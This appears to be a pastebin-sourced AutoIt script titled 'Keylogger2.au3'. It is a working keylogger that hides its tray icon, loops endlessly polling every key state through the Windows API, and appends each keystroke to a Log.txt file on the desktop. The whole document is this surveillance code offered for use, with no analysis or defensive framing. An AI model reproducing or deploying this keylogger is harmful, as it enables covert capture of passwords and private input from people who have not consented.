Keylogger2.au3

http://pastebin.com/nU9Gm1WJ
__________________________________________
#NotrayIcon
#include
;==============================
; AutoIt
; Simple KeyLogger Function
;==============================

sGetKey()

Func sGetKey()

While 1

Local  $sKey, $Result , $Log

For $sKey = 1 To 255

$Result = _WinAPI_GetAsyncKeyState($sKey)

If $Result = -32767 then

$Result = Chr($sKey)

$Log = FileOpen(@DesktopDir & "\Log.txt", 1)

FileWrite($Log, $Result)

FileClose($Log)

EndIf

Next

WEnd

Endfunc